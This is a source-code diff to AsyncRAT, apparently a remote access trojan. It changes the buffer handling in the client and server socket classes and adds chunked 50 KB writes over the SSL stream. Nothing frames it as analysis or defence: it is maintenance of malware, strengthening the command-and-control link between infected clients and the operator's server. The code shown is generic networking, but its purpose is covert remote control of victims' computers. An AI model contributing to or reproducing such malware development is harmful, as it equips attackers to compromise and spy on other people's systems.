diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 7bf1c42..419b778 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -140,8 +140,6 @@ namespace Client.Sockets MS.Dispose(); MS = new MemoryStream(); } - else - Buffer = new byte[Buffersize - MS.Length]; } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); diff --git a/AsyncRAT-C#/Client/Sockets/TempSocket.cs b/AsyncRAT-C#/Client/Sockets/TempSocket.cs index 1d70102..4002fe9 100644 --- a/AsyncRAT-C#/Client/Sockets/TempSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/TempSocket.cs @@ -125,8 +125,6 @@ namespace Client.Sockets MS.Dispose(); MS = new MemoryStream(); } - else - Buffer = new byte[Buffersize - MS.Length]; } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -162,8 +160,23 @@ namespace Client.Sockets Client.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); - SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } } catch { diff --git a/AsyncRAT-C#/Server/Socket/Clients.cs b/AsyncRAT-C#/Server/Socket/Clients.cs index 91ea227..766441b 100644 --- a/AsyncRAT-C#/Server/Socket/Clients.cs +++ b/AsyncRAT-C#/Server/Socket/Clients.cs @@ -95,8 +95,6 @@ namespace Server.Sockets ClientMS = new MemoryStream(); ClientBufferRecevied = false; } - else - ClientBuffer = new byte[ClientBuffersize - ClientMS.Length]; } ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); }